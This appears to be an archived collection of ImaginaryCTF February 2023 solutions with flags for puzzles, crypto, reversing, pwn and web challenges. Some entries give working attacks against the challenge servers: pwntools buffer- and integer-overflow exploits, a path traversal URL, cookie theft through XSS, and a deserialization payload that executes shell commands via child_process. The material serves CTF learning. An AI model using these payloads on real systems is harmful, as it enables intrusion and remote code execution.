Archived Challenges - February 2023

Welcome to ImaginaryCTF's 31st Sanity Check!

Before we unleash you onto the digital battlefield, we need to make sure you haven't lost your mind in the process.

Step right up and let's see if you have what it takes to hack with the best of them.

First up, do you hear voices in your head telling you to type random commands into your terminal? No? Excellent, that's a great start.

Next, do you find yourself speaking in binary code even outside of your cybersecurity work? If the answer is no, then you're definitely on the right track to keeping your sanity intact.

Lastly, do you see conspiracy theories behind every IP address and network connection? If not, then congratulations! You're sane enough to participate in this event.

So go forth and conquer the virtual realm with your wits intact and may the best hacker win!

||Totally wasn’t made by ChatGPT||

ictf{w3lcom3_to_r0und_31!}

Each line represents a word. Each color pixel is one of Pantone's Color of the Year. Using the Wikipedia article on Pantone, section "Color of the Year" yields 26 colors, which corresponds to 26 letters of the alphabet if arranged chronologically. The pixels at the top translate to the pangram "The quick brown fox jumps over the lazy dog." The pixels at the bottom translate to "This year's color and its hex code". Pantone's Color of the Year for 2023 is Viva Magenta, with hex code BB2649.

ictf{Viva_Magenta_BB2649}

https://theintercept.com/2023/02/14/whistleblower-image-crop-document/

Copy the any of the images (they're all the same) into a Google Slides that you own, and right click it and click Reset Image.

ictf{but_green_flags_are_always_hiding_3d234fd2}

It's just a standard compression oracle. Iterate through ictf{[letters] and find the next character based on the size of the output: https://imaginaryctf.org/f/CrCKb. You need a bit of guesswork when there are multiple choices, or when it doesn't find the right character.

ictf{c0mpr35510n_0r4cl35_4r3_0v3rd0n3}

bytes.fromhex(hex(8319050641287963497)[2:])[::-1]+bytes.fromhex(hex(8387496331138198835)[2:])[::-1]+bytes.fromhex(hex(7293129038958649207)[2:])[::-1]+bytes.fromhex(hex(8217139)[2:])[::-1]```

The large integer constants are actually the data used to store the flag string. Decoding them from hex yields the flag.

ictf{4ss3mbly_ftw_7d8f6e3b}

print(bytes(int("{:08b}".format(i)[::-1],2) for i in open("glaf", "rb").read()[::-1]))

The provided file is just the binary of the flag, backwards.

ictf{I_choose_to_believe_this_is_what_TBG_is_best_at}

Compiled with https://github.com/neurobin/shc. Run it through ltrace with a flag to show enough of the arguments, or look into the output of ps while it's running.

ltrace -s 999 ./SHrug 2>&1 | grep -oP "ictf{.*}"

ictf{BASHing_my_head_against_a_wall}

Not my best challenge by far. After some reversing (don't forget to use the symbols), you find it's checking xor(rc4(static_key, 100), flag, reversed(rc4(static_key, 100))).

ictf{uninspired_haskell_rev_goes_brrrrrc4}

Convert the string to hex, then convert the hex private key to bytes on the ecdsa SECP256k1 curve, then generate the public key from the result. From there, take the public key and hash it add the bitcoin byte and and SHA256 it and RIPEMD-160 it, then add the network byte and double sha256 it, to get the checksum, then concatenate the checksum with the public key and base58 encode it.

You can use a library to do all this https://github.com/Destiner/blocksmith/blob/master/blocksmith/bitcoin.py or just look it up on this site https://privatekeys.pw/key/6d795f626974636f696e5f707269766174655f6b65795f69735f7075626c6963

import blocksmith
key = "my_bitcoin_private_key_is_public".encode().hex()
address = blocksmith.BitcoinWallet.generate_address(key)
print(address)

ictf{1AG9dLEEsyC5ozyGserA8KfRPao8VJ1S9C}

alphabet = bytes(range(32, 127))
ct = b">$/294'*z'-,74){,@0{+4)4*+;&$&$({,;/5E0} &*0is"

key = ct[0] - b'i'[0] - b'}'[0]

flag = b'}'

for i, c in enumerate(ct):
    flag += bytes([alphabet[(c - key - alphabet[flag[i]%len(alphabet)])%len(alphabet)]])

print(flag[1:])

This cipher adds the key and the previous character of the plaintext to each plaintext character. Because the first and last characters of the flag are known, we can recover the key, and thus retrieve the flag.

ictf{and_people_use_this_to_make_unity_games?}

The encryption is just raw image bytes encrypted with AES-ECB. Since most of it is the same block, we don't need to decrypt it, but just put the ciphertext in an image. All we have to do is figure out the size of the image, but if we factor the file size we notice it has one larger prime factor, so there are not many options where the size would make sense.

from PIL import Image
import numpy as np

ct = open("penguin.png.enc", "rb").read()
arr = np.array(list(ct), dtype=np.uint8)
arr = arr.reshape((4 * 7 * 13, 2459, 4))
img = Image.fromarray(arr)
img.save("flag.png")

ictf{please_never_use_ECB}

Buffer is 32 bytes in length, overflow that plus 8 bytes to control the return address from off the stack, then insert the readFlag function address. Since it's static and there's no canaries or any other protection this can be achieved simply like this:

from pwn import *

exe = context.binary = ELF('./introbof')
io = remote('introbufferoverflow.fly.dev', 5000)
read_flag = exe.symbols['readFlag']
buffer_size = 40
payload = cyclic(buffer_size) + p64(read_flag)
io.sendline(payload)

io.interactive()

ictf{maybe_you're_one_of_the_10,000_today_4811e}

Simple integer overflow pwn. Send u32 max and it will print the flag.

#!/usr/bin/env python

from pwn import *

io = remote('rustoverflow.fly.dev', 5000)

io.sendlineafter(b'Quit', b'4294967295')
io.interactive()

ictf{crab_crab_crab_crab_crab_crab_crab_399a3}

printf info leak into buffer overflow + ROP into libc system https://imaginaryctf.org/f/uP6F1

ictf{maybe_n0w_you're_4_mast3r_0f_st4ck_exploits}

http://puzzler7.imaginaryctf.org:10000/user/..%2fflag.txt

You can see the source at /?source, and see that there's a trivial path traversal bug - trying to view the user ../flag.txt will show the flag file.

ictf{who_needs_databases_when_you_have_filesystems?}

The flag cookie is stored on the domain puzzler7.imaginaryctf.org, and as such can be accessed by the Quitter website from a challenge earlier in the month, which is hosted at the same domain on a different port. The Quitter website has a trivial XSS as it does no escaping of the user input.

http://puzzler7.imaginaryctf.org:10000/user/1a2b8944722f1b6220b269395fb49278

ictf{not_sure_how_this_challenge_will_be_received_but_lets_find_out}

#!/usr/bin/env python3

ct = open('flag.txt').read()

d = dict(zip('𝘢𝘣𝘤𝘥𝘦𝘧𝘨𝘩𝘪𝘫𝘬𝘭𝘮𝘯𝘰𝘱𝘲𝘳𝘴𝘵𝘶𝘷𝘸𝘹𝘺𝘻', 'abcdefghijklmnopqrstuvwxyz'))
cgj = '\u034f'
flag = ''

for i, c in enumerate(ct):
    if c == cgj:
        flag += d[ct[i+1]]

print(flag)

Several of the characters are prefixed by the character \u034f, which is a combining grapheme joiner, a unicode accent character that doesn't actually change the character it's attached to. Collecting these characters yields the flag.

ictf{isharemyfavpoemswithyoualleverychanceiget}

In unprepare$object function you can use po.ctr === 15 to construct a Function object, and make it a Thenable object like { then: [Function: anonymous] }. When the thenable is returned into the Promise chain and then will be executed, so you get a code execution!

{"_serializeVerId":"v8","what":{"ctr":0,"ps":{"then":{"ctr":15,"args":["resolve","resolve(process.mainModule.require('child_process').execSync('id').toString())"]}}}}

ictf{insecure_deserialization_strikes_again}

https://twitter.com/IvanoSomaini/status/1628254420625506304?t=ScJOflXQY2fcWhqjGHG_fA&s=19

ictf{Pseudonymous_Unpuzzler7}